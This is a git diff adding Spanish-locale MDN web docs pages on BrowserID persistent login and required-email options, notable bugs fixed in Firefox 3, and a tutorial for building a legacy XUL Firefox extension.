diff --git a/files/es/browserid/funciones_avanzadas/index.html b/files/es/browserid/funciones_avanzadas/index.html
new file mode 100644
index 0000000000..05a955b37b
--- /dev/null
+++ b/files/es/browserid/funciones_avanzadas/index.html
@@ -0,0 +1,43 @@
+---
+title: Funciones Avanzadas
+slug: BrowserID/Funciones_Avanzadas
+---
+<div class="note">
+ In all example code in this page, <code>gotAssertion</code> is the callback argument to <code>navigator.id.get()</code>.</div>
+<h2 id="Persistent_Login">Persistent Login</h2>
+<p>The <code>navigator.id.get()</code> API takes a set of options as an optional parameter. By using two of these options, <code>allowPersistent</code> and <code>silent</code>, you can enable the user to stay logged into your web site until the certificate signed by their identity provider expires.</p>
+<h3 id="allowPersistent"><code>allowPersistent</code></h3>
+<p>You use <code>allowPersistent</code> like this:</p>
+<pre class="brush: js">navigator.id.get(gotAssertion, {allowPersistent: true});</pre>
+<p>This option causes a new checkbox to appear in the BrowserID dialog asking the user if they want to stay signed in. If the user checks the box to stay signed in, then the browser creates an assertion and passes it to <code>gotAssertion </code>as normal, but remembers the user selection.</p>
+<h3 id="silent"><code>silent</code></h3>
+<p>You use <code>silent</code> like this:</p>
+<pre class="brush: js">navigator.id.get(gotAssertion, {silent: true});"}</pre>
+<p>With this option the browser will not display any dialog to the user, but will call <code>gotAssertion</code> without any user intervention. If the user had checked the box to stay signed in, and the user's certificate has not yet expired, then the browser will silently generate a new assertion and pass it into <code>gotAssertion</code>. Otherwise, the browser will pass <code>null</code> into <code>gotAssertion</code>.</p>
+<h3 id="Supporting_Persistent_Login">Supporting Persistent Login</h3>
+<p>First, on page load, call <code>navigator.id.get({silent: true})</code><code>: </code></p>
+<pre class="brush: js">$(function() {\n  navigator.id.get(gotAssertion, {silent: true});\n});</pre>
+<p>Next, inside <code>gotAssertion</code>, if the assertion is not <code>null</code> and validates, log the user in, otherwise call <code>loggedOut()</code>:</p>
+<pre class="brush: js">function gotAssertion(assertion) {
+  if (assertion !== null) {
+    // Send assertion to the server for validation
+    if (!validateAssertionOnServer(assertion) loggedOut();
+    else loggedIn();
+  }
+  else {
+    loggedOut();
+  }
+}</pre>
+<p>Finally, <code>loggedOut()</code> updates the page to indicate that the user is logged out. In particular, the page needs to display a "Sign In" button whose click handler will call <code>navigator.id.get({allowPersistent: true})</code>:</p>
+<pre class="brush: js"><span>$(<span class="string">'#browserid' }}</span></span><span>).click(</span><span class="keyword">function</span><span>() {
+  </span><span>navigator.id.get(gotAssertion</span>, {allowPersistent: true}<span>);</span>
+<span>  <span class="keyword">return</span><span> </span><span class="keyword">false</span><span>;</span></span>
+<span>});</span></pre>
+<h3 id="Example_Code">Example Code</h3>
+<p>You can see a sample implementation of this at <a class="external" href="http://myfavoritebooze.org/" title="http://myfavoritebooze.org/">http://myfavoritebooze.org/</a>, whose <a class="link-https" href="https://github.com/lloyd/myfavoritebooze.org/">source code is available on GitHub</a>.</p>
+<h2 id="Requiring_a_Specific_Email">Requiring a Specific Email</h2>
+<p>BrowserID enables a user to have multiple identities, and choose which one to sign in with. If a user has multiple email addresses which can be verified using BrowserID, then when a web site calls <code>navigator.id.get()</code>, the user will be presented with all their addresses, and asked which one to use.</p>
+<p>Sometimes, though, a web site knows which email the user needs to choose. For example, if Alice shares a photo with Bob using a BrowserID-enabled photo-sharing site, the web site needs to authenticate Bob against the exact email address Alice used to invite him. If Bob chooses the wrong email from multiple choices the invitation will fail.</p>
+<p>In this situation the web site can require that the user use a particular email address by setting the <code>requiredEmail</code> option as an argument to <code>navigator.id.get()</code>. For example:</p>
+<pre class="brush: js">navigator.id.get(gotAssertion, {requiredEmail: \"bob@example.com\"});</pre>
+<p>Even if Bob has multiple email addresses, he'll only be presented with "<a class="link-mailto" href="mailto:bob@example.com" rel="freelink">bob@example.com</a>". The web site's <code>gotAssertion()</code> function is guaranteed to be called with either an assertion for "<a class="link-mailto" href="mailto:bob@example.com" rel="freelink">bob@example.com</a>", or with a null assertion.</p>
diff --git a/files/es/browserid/index.html b/files/es/browserid/index.html
new file mode 100644
index 0000000000..4bace2f516
--- /dev/null
+++ b/files/es/browserid/index.html
@@ -0,0 +1,5 @@
+---
+title: BrowserID
+slug: BrowserID
+---
+This page was auto-generated because a user created a sub-page to this page.
diff --git a/files/es/bugs_importantes_solucionados_en_firefox_3/index.html b/files/es/bugs_importantes_solucionados_en_firefox_3/index.html
new file mode 100644
index 0000000000..5dbc833d4a
--- /dev/null
+++ b/files/es/bugs_importantes_solucionados_en_firefox_3/index.html
@@ -0,0 +1,39 @@
+---
+title: Bugs importantes solucionados en Firefox 3
+slug: Bugs_importantes_solucionados_en_Firefox_3
+tags:
+  - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3/Notable_bugs_fixed
+---
+<div>{{FirefoxSidebar}}</div><p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Este artículo es una lista de correcciones importantes de errores en Firefox 3 que no resultan obvios en la documentación.</p>
+
+<ul>
+ <li>Si ocurre un error mientras se analiza un overlay, el overlay no se aplica. Los errores del análisis se registran en la consola de errores. ({{ Bug(335755) }})</li>
+ <li>Error corregido en el que los elementos '<code>&lt;menupopup&gt;</code>' pueden colocarse dentro de un contenedor cuando se adjuntan en un elemento menú o de tipo menú. ({{ Bug(345896) }})</li>
+ <li>La propiedad '<code>dlgType</code>' de botones funciona correctamente. ({{ Bug(308591) }})</li>
+ <li>El argumento '<code>canBubble</code>' de <a href="es/DOM/event.initEvent">event.initEvent</a> funciona correctamente de manera que los eventos pueden ser llamados sin que se hagan recurrentes. ({{ Bug(330190) }})</li>
+ <li>El evento '<code>DOMAttrModified</code>' maneja correctamente atributos con nombres con espacio. ({{ Bug(362391) }})</li>
+ <li>Las instrucciones de procesamiento XML, tal como '<code>&lt;?xml-stylesheet ?&gt;</code>', se han agregado al DOM de documentos XUL. Lo que significa que no está garantizado que <a href="es/DOM/document.firstChild">document.firstChild</a> sea el elemento raíz, en su lugar utiliza <a href="es/DOM/document.documentElement">document.documentElement</a>. Por otro lado las instrucciones de procesamiento '<code>&lt;?xml-stylesheet ?&gt;</code>' y '<code>&lt;?xul-overlay ?&gt;</code>' ya no tienen efecto fuera del prólogo del documento. ({{ Bug(319654) }})</li>
+ <li>Las funciones '<code>getElementsByAttributeNS()</code>' se han añadido a los elementos y documentos XUL. ({{ Bug(239976) }})</li>
+ <li>Los escuchadores de eventos se mantienen cuando se mueve o se quita un elemento de un documento XUL. ({{ Bug(286619) }})</li>
+ <li>Los eventos de mutación se disparan para documentos no mostrados. ({{ Bug(201236) }})</li>
+ <li>Corregidos varios problemas con elementos de dibujo en orden equivocado. ({{ Bug(317375) }})</li>
+ <li>Se ha corregido <code><a href="es/DOM/element.getElementsByTagName">getElementsByTagName()</a></code> para que funcione correctamente en sub-árboles que tienen elementos con prefijos en los nombres de las etiquetas. ({{ Bug(206053) }}).</li>
+ <li>Los eventos '<code>DOMNodeInserted</code>' y '<code>DOMNodeRemoved</code>' se aplican correctamente a los nodos apropiados ({{ Bug(367164) }}).</li>
+ <li>La expresión '<code>\d</code>', uno de los caracteres especiales usados en expresiones regulares, ha sido corregida para que concuerde sólo con dígitos del alfabeto latino (equivalente a <code>{{ mediawiki.external('0-9') }}</code>). ({{ Bug(378738) }})</li>
+ <li>La categoría 'image-sniffing-services' permite que un descodificador de imágenes implementado como una extensión, descodifique correctamente imágenes enviadas con un tipo MIME incorrecto. ({{ Bug(391667) }})</li>
+</ul>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<ul>
+ <li><a href="es/Firefox_3_para_desarrolladores">Firefox 3 para desarrolladores</a></li>
+</ul>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Notable_bugs_fixed_in_Firefox_3", "fr": "fr/Bugs_importants_corrig\u00e9s_dans_Firefox_3", "ja": "ja/Notable_bugs_fixed_in_Firefox_3", "pl": "pl/Istotne_b\u0142\u0119dy_poprawione_w_Firefoksie_3" } ) }}</p>
diff --git a/files/es/building_an_extension/index.html b/files/es/building_an_extension/index.html
new file mode 100644
index 0000000000..0c6e8f728a
--- /dev/null
+++ b/files/es/building_an_extension/index.html
@@ -0,0 +1,379 @@
+---
+title: Construyendo una extensión
+slug: Building_an_Extension
+translation_of: Mozilla/Add-ons
+---
+<h2 id="Introducción">Introducción</h2>
+
+<p>Este tutorial te guiará a través de los pasos requeridos para desarrollar una <a href="/en-US/docs/Extensions" title="/en-US/docs/Extensions">extensión</a> muy básica - una que agrega un panel con una barra de estado con el texto "Hola, Mundo!" al navegador de Firefox.</p>
+
+<div class="note"><strong>Nota:</strong> La extensión creada por este tutorial no funcionará en versiones de Firefox que no contengan una barra de estado estática (esto es, Firefox 4 en adelante). Puedes encontrar un tutorial más actualizado en <a href="/en-US/docs/XUL_School/The_Essentials_of_an_Extension" title="The Essentials of an Extension">The Essentials of an Extension</a> de la <a href="/en-US/docs/XUL_School" title="XUL School Tutorial">XUL School</a>.</div>
+
+<p>Desde Firefox 4 (y otras aplicaciones basadas en Mozilla 2) existen dos tipos de extensiones:</p>
+
+<ul>
+ <li>Las extensiones tradicionales, clásicas o XUL son más poderosas, pero más complicadas de construir y requieren un reinicio para su instalación.</li>
+ <li>Extensiones sin reinicio, o <a href="/en-US/docs/Extensions/Bootstrapped_extensions" title="/en-US/docs/Extensions/Bootstrapped_extensions">bootstrapped extensions</a> que no requieren un reinicio para instalarse pero son más limitadas que las extensiones tradicionales. El <a class="link-https" href="https://addons.mozilla.org/en-US/developers/tools/builder">Add-on SDK y el Add-on Builder</a> pueden ser usados para construir fácilmente extensiones sin reinicio.</li>
+</ul>
+
+<p>Este artículo explica como construir una extensión tradicional para Firefox. Para información sobre bootstrapped extensions o sin reinicio, mira <a href="/en-US/docs/Extensions/Bootstrapped_extensions" title="/en-US/docs/Extensions/Bootstrapped_extensions">Bootstrapped extensions</a>.</p>
+
+<p>Para un tutorial sobre construcción de extensiones para Thunderbird, mira <a href="/en-US/docs/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="/en-US/docs/Building_a_Thunderbird_extension">Construyendo una extensión para Thunderbird.</a></p>
+
+<h2 id="Inicio_Rápido">Inicio Rápido</h2>
+
+<p>Una extensión <a class="external" href="http://mozilla.doslash.org/stuff/helloworld.zip">Hola Mundo</a> similar que puedes generar con el Extension Wizard es explicado línea por línea en <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">otro tutorial desde la MozillaZine Knowledge Base (Base de Conocimiento MozillaZine)</a>.</p>
+
+<h2 id="Configurando_un_Ambiente_de_Desarrollo">Configurando un Ambiente de Desarrollo</h2>
+
+<p>Las extensiones son empaquetadas y distribuidas en archivos ZIP o <a href="/en-US/docs/Bundles" title="/en-US/docs/Bundles">Bundles</a>, con la extensión de archivos <code>XPI</code>.</p>
+
+<p><code>Un ejemplo del contenido dentro de un archivo XPI típico </code>:</p>
+
+<pre class="eval">my_extension.xpi:                         //<code>Igual a una carpeta llamada</code> <strong style="font-weight: bold;">my_extension</strong><strong>/</strong>
+          <a href="/en-US/docs/Install_Manifests" title="/en-US/docs/Install Manifests">/install.rdf </a>                   //<code>Información general sobre tu extensión</code>
+          /<a href="/en-US/docs/Chrome_Registration" title="/en-US/docs/Chrome_Registration">chrome.manifest</a>                //Registra tu contenido con el motor <a href="/en-US/docs/Chrome_Registration" title="https://developer.mozilla.org/en-US/docs/chrome_registration">Chrome</a>
+          /chrome/
+          /chrome/content/                //Contenido de tu extensión, por ejemplo, archivos XUL and JavaScript
+          /<a href="/en-US/docs/Window_icons" title="/en-US/docs/Window_icons">chrome/icons/default/*</a>         //Iconos por defecto de tu extensión
+          /chrome/locale/*                //Construyendo una Extensión# <a href="/en-US/docs/Building_an_Extension#Localization" title="https://developer.mozilla.org/en-US/docs/Building_an_Extension#Localization">Localización</a>
+          <a href="#Defaults_Files">/defaults/preferences/*.js</a>      //Construyendo una Extensión# <a href="/en-US/docs/Building_an_Extension#Defaults_Files" title="https://developer.mozilla.org/en-US/docs/Building_an_Extension#Defaults_Files">Archivos por defecto</a>
+          /plugins/*
+<a href="#XPCOM_Components">          /components/*</a>
+          <a href="#Application_Command_Line">/components/cmdline.js</a></pre>
+
+<p>Desearemos construir una estructura de archivos similar a la anterior para nuestro tutorial, así que comencemos creando una carpeta para tu extensión en algún lugar de tu disco duro (por ejemplo, <code>C:\extensions\my_extension\</code> or <code>~/extensions/my_extension/</code>). Dentro de la nueva carpeta para la extensión, crea otra carpeta llamada <code>chrome</code>, y dentro de la carpeta <code>chrome</code>, crea una carpeta llamada <code>content</code>.</p>
+
+<p>Dentro del directorio <strong>raíz</strong> de la carpeta de tu extensión, crea dos archivos de texto nuevos, llamados <code>chrome.manifest<span style="font-family: verdana,tahoma,sans-serif;"> </span></code>e <code>install.rdf</code>. En el directorio <strong>chrome/content</strong>, crea un nuevo archivo de texto vacío llamado <code>sample.xul</code>.</p>
+
+<p>Deberías concluir con esta estructura de directorio:</p>
+
+<ul>
+ <li>install.rdf</li>
+ <li>chrome.manifest</li>
+ <li>chrome\
+  <ul>
+   <li>content\
+    <ul>
+     <li>sample.xul</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p><span class="comment">&lt;pre&gt; #!/bin/sh h=$HOME/moExt mkdir -p $h/my_extension/chrome/content touch $h/my_extension/chrome.manifest $h/my_extension/install.rdf &lt;/pre&gt;</span> Por favor lee la información adicional sobre configuración de un ambiente de desarrollo en el artículo <a href="/en-US/docs/Setting_up_extension_development_environment" title="/en-US/docs/Setting_up_extension_development_environment">Configurando un ambiente de desarrollo</a>.</p>
+
+<p>{{ gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), you can also simply include an icon, named <code>icon.png</code>, in the base directory of the add-on. This allows your add-on's icon to be displayed even when the add-on is disabled, or if the manifest is missing an <code>iconURL</code> entry.") }}</p>
+
+<h2 id="Crear_el_Manifiesto_de_Instalación">Crear el Manifiesto de Instalación</h2>
+
+<p>Abre el archivo llamado <code><a href="/en-US/docs/Install_Manifests" title="/en-US/docs/Install_Manifests">install.rdf</a></code> que creaste en el tope de la jerarquía de carpetas de tu extensión y agrega dentro lo siguiente:</p>
+
+<pre class="brush: xml  language-xml"><code class="language-xml"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>RDF</span> <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/1999/02/22-rdf-syntax-ns#<span class="punctuation token">"</span></span>
+     <span class="attr-name token"><span class="namespace token">xmlns:</span>em</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.mozilla.org/2004/em-rdf#<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>Description</span> <span class="attr-name token">about</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>urn:mozilla:install-manifest<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>id</span><span class="punctuation token">&gt;</span></span>sample@example.net<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>id</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>version</span><span class="punctuation token">&gt;</span></span>1.0<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>version</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>type</span><span class="punctuation token">&gt;</span></span>2<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>type</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="comment token">&lt;!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. --&gt;</span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>targetApplication</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>Description</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>id</span><span class="punctuation token">&gt;</span></span>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>id</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>minVersion</span><span class="punctuation token">&gt;</span></span>1.5<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>minVersion</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>maxVersion</span><span class="punctuation token">&gt;</span></span>4.0.*<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>maxVersion</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>Description</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>targetApplication</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="comment token">&lt;!-- Front End MetaData --&gt;</span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>name</span><span class="punctuation token">&gt;</span></span>sample<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>name</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>description</span><span class="punctuation token">&gt;</span></span>A test extension<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>description</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>creator</span><span class="punctuation token">&gt;</span></span>Your Name Here<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>creator</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">em:</span>homepageURL</span><span class="punctuation token">&gt;</span></span>http://www.example.com/<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">em:</span>homepageURL</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>Description</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>RDF</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<ul>
+ <li><code><strong><span class="link-mailto linkification-ext">sample@example.net</span></strong></code> – el ID de la extensión. Este es un valor con el que identificas tu extensión en formato de direccón de correo electrónico (nota que no debería ser <em>tu</em> email). Hazlo único. También podrías usar un GUID. NOTA: Este parámetro DEBE estar en formato de dirección de correo electrónico, aunque NO tiene que ser una dirección válida. (<code><span class="link-mailto">example@example.example</span></code>)</li>
+ <li>Especifica <code>&lt;em:type&gt;2&lt;/em:type&gt;</code> – el 2 declara que está instalando una extensión. Si fueras a instalar un tema (theme) sería 4 (mira <a href="/en-US/docs/Install_Manifests#type" title="/en-US/docs/Install_Manifests#type">Install Manifests#type</a> para otros tipos de códigos).</li>
+ <li><code><strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong></code> – ID de la aplicación Firefox.</li>
+ <li><code><strong>1.5</strong></code> – el número exacto de la versión más antigua de Firefox para la cual estableces que esta extensión funcionará. Nunca uses un * en minVersion; es muy seguro que no hagas lo que esperas.</li>
+ <li><code><strong>4.0.*</strong></code> – la versión máxima de Firefox para la cual dices que esta extensión funcionará. En este caso, "4.0.*" indica que la extensión funciona con Firefox 4.0 y cualquier entrega 4.0.x subsecuente. Este número necesita ser menor o igual a la <a class="external" href="http://wiki.mozilla.org/Releases" title="http://wiki.mozilla.org/Releases">versión anunciada de Firefox</a>. Por defecto, Firefox 10 y posteriores no fuerzan una restricción contra <code>maxVersion</code> (aunque comenzando en Firefox 11, valores muy antiguos de <code>maxVersion</code> son todavía forzados). Puedes forzan a la aplicación a hacerlo usando <code>&lt;em:strictCompatibility&gt;</code>.</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> si obtienes un mensajes que <code>install.rdf</code> está mal formado, es útil cargarlo en Firefox usando el comando Archivo-&gt;Abrir Archivo que reportará los errores XML para ti.</div>
+
+<p>Las extensiones diseñadas para funcionar con Firefox 2.0.0.x como la última deben configurar la máxima versión a "2.0.0.*". Las extensiones diseñadas para funcionar con Firefox 1.5.0.x como la última deben configurar la máxima versión a "1.5.0.*"</p>
+
+<p>Mira <a href="/en-US/docs/Install_Manifests" title="/en-US/docs/Install_Manifests">Manifiestos de Instalación</a> para una lista completa de las propiedades requeridas y opcionales.</p>
+
+<p>Guarda el archivo.</p>
+
+<h2 id="Extendiendo_el_Navegador_con_XUL">Extendiendo el Navegador con XUL</h2>
+
+<p>La interfaz de usuario de Firefox está escrita en XUL y JavaScript. <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a> es una grática XML que provee widgets de interfaz como botones, menús, barras de herramientas, árboles, etc. Las acciones de los usuarios están ligadas a funcionalidad usando JavaScript.</p>
+
+<p>Para extender el navegador, modificamos partes de la interfaz de usuario del navegador, agregando o modificando widgets. Agreramos widgets insertando nuevos elementos XUL DOM en la ventana del navegador y los modificamos usando script y vinchulando manejadores de eventos.</p>
+
+<p>El navegador es implementado en un archivo XUL llamado <code>browser.xul</code> (<code>$FIREFOX_INSTALL_DIR/chrome/browser.jar</code> contiene <code>content/browser/browser.xul</code>). En browser.xul podemos encontrar la barra de estado, que se parece a algo como esto:</p>
+
+<pre class="eval  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>toolbarpalette</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>BrowserToolbarPalette<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ ... <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>toolbarbutton</span><span class="punctuation token">&gt;</span></span>s ...
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>toolbarpalette</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p><code>&lt;statusbar id="status-bar"&gt;</code> es un  "punto de fusión" para un XUL Overlay.</p>
+
+<h3 id="XUL_Overlays">XUL Overlays</h3>
+
+<p><a href="/en-US/docs/XUL_Overlays" title="/en-US/docs/XUL_Overlays">Los XUL Overlays</a> son una forma de enlazar en tiempo de ejecución otros widgets de la interfaz de usuario a un documento XUL. Un XUL Overlay es un archivo .xul  que especifíca fragmentos XUL a insertar en puntos de fusión específicos dentro de un documento "maestro". Estos fragmentos pueden especificar la inserción, eliminación o modificación de widgets.</p>
+
+<p><strong>Ejemplo de un Documento XUL Overlay</strong></p>
+
+<pre class="eval  language-html"><code class="language-html"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>overlay</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>sample<span class="punctuation token">"</span></span>
+         <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>toolbarpalette</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>BrowserToolbarPalette<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>toolbarbutton</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>my-button<span class="punctuation token">"</span></span> <span class="attr-name token">label</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Hello, World<span class="punctuation token">"</span></span>  <span class="punctuation token">/&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>toolbarpalette</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>overlay</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>La <code>&lt;</code>toolbarpalette<code>&gt;</code> llamada<code><strong> </strong></code><strong>BrowserToolbarPalette </strong> especifica el "punto de fusión" que queremos enlazar dentro de la ventana del navegador.</p>
+
+<p>El hijo <code>&lt;</code>toolbarbutton<code>&gt;</code> es un nuevo widget que queremos insertar dentro de un punto de fusión.</p>
+
+<p>Copia el código de ejemplo anterior y guardalo en tu archivo llamado <code><strong>sample.xul</strong></code> dentro de la carpeta <code>chrome/content</code> que has creado.</p>
+
+<p>Para más información sobre fusionar widgets y modificar la interfaz de usuario usando Overlays, mira debajo.</p>
+
+<h2 id="Chrome_URIs">Chrome URIs</h2>
+
+<p>Los archivos XUL son parte de "<a href="/en-US/docs/Chrome_Registration" title="/en-US/docs/Chrome_Registration">Paquetes Chrome</a>" - envoltorios de componentes de interfaz de usuario que son cargados a través de <code>URIs chrome://</code>. En lugar de cargar el navegador desde el disco usando una URI <code>file://</code>  (ya que la ubicación de Firefox en el sistema puede cambiar de plataforma a plataforma y de sistema a sistema), los desarrolladores de Mozilla encontraron una solución para crear URIs para contenido XUL que la aplicación instalada conoce.</p>
+
+<p>La ventana del navegador es: <code><a class="external" rel="freelink">chrome://browser/content/browser.xul</a></code>. Prueba tipiando esta URL en la barra de navegación de Firefox!</p>
+
+<p>Las Chrome URIs constan de varios componentes:</p>
+
+<ul>
+ <li>Primero, el <strong>esquema URI</strong> (<code>chrome</code>) que le comunica a la librería de red de Firefox que es una Chrome URI. Indica que el contenido de la URI debería ser tratada como un (<code>chrome</code>). A diferencia de (<code>chrome</code>), (<code>http</code>) le comunica a Firefox que debe tratar la URI como una página web.</li>
+ <li>Segundo, un nombre de paquete (en el anterior ejemplo, <code><strong>browser</strong></code>) que identifica el envoltorio de componentes de interfaz de usuario. Este debería ser lo más único posible para tu aplicación, para evitar colisiones entre extensiones.</li>
+ <li>Tercero, el tipo de dato que es requerido. Existen tres tipos: <code>content</code> (XUL, JavaScript, XBL bindings, etc. que forman la estructura y el comportamiento de una aplicación de interfaz de usuario), <code>locale</code> (DTD, archivos .properties, etc que contienen strings para la <a href="/en-US/docs/Localization" title="/en-US/docs/Localization">localización</a> de la interfaz de usuario) , y <code>skin</code> (CSS e imágenes que forman el <a href="/en-US/docs/Themes" title="/en-US/docs/Themes">tema</a> de la interfaz de usuario).</li>
+ <li>Finalmente, la dirección del archivo a cargar.</li>
+</ul>
+
+<p>Así que, <code><a class="external" rel="freelink">chrome://foo/skin/bar.png</a></code> carga el archivo <code>bar.png</code> desde la sección <code>skin</code> del tema <code>foo</code>.</p>
+
+<p>Cuando cargas contenido usando una Chrome URI, Firefox usa el Chrome Registry (Registro de Chrome) para traducir estas URIs en los archivos fuente actuales dentro del disco (o en paquetes JAR).</p>
+
+<h2 id="Crea_un_Manifiesto_Chrome">Crea un Manifiesto Chrome</h2>
+
+<p>Para más información de Manifiestos Chrome y las propiedades que soportan, mira Referencia <a href="/en-US/docs/Chrome_Registration" title="/en-US/docs/Chrome_Registration">de Manifiestos Chrome</a>.</p>
+
+<p>Abre el archivo denominado <strong>chrome.manifest</strong> que has creado junto al directorio <code>chrome</code> en la raíz de la jerarquía de carpetas de tu extensión.</p>
+
+<p>Agrega este código:</p>
+
+<pre class="eval">content     sample    chrome/content/
+</pre>
+
+<p>(<strong>No te olvides de la barra, "<code>/</code>"!</strong> Sin ella, el paquete no será registrado.)</p>
+
+<p>Esto especifica:</p>
+
+<ol>
+ <li>tipo de material dentro del paquete chrome.</li>
+ <li>nombre del paquete chrome (asegúrate de usar todos caracteres en minúscula para ele nombre del paquete ("sample") ya que Firefox/Thunderbird no soporta doesn't support caracteres mixtos en la versión 2 y anteriores - {{ Bug("132183") }})</li>
+ <li>ubicación de los archivos de paquetes chrome.</li>
+</ol>
+
+<p><br>
+ Entonces, esta línea establece que para un paquete chrome <strong>sample</strong>, podremos encontrar sus archivos de contenido (<strong>content)</strong> en la ubicación <code>chrome/content</code> que es una dirección relativa a la ubicación del manifiesto <code>chrome.manifest</code>.</p>
+
+<p>Tenga en cuenta que los archivos de contenido (content), localización (locale), y apariencia (skin) deben mantenerse dentro de carpetas llamadas content, locale, and skin dentro del subdirectorio <code>chrome</code>.</p>
+
+<p>Guarda el archivo. Cuando ejecutes Firefox con tu extensión (más adelante en este tutorial), esto va a registrar el paquete chrome.</p>
+
+<h2 id="Registrar_un_Overlay">Registrar un Overlay</h2>
+
+<p>Necesitas que Firefox fusione tu overlay (capa) con la ventana del navegador siempre que se despliegue una. Así que agrega esta linea al archivo <code>chrome.manifest</code>:</p>
+
+<pre class="eval">overlay <a class="external" rel="freelink">chrome://browser/content/browser.xul</a> <a class="external" rel="freelink">chrome://sample/content/sample.xul</a>
+</pre>
+
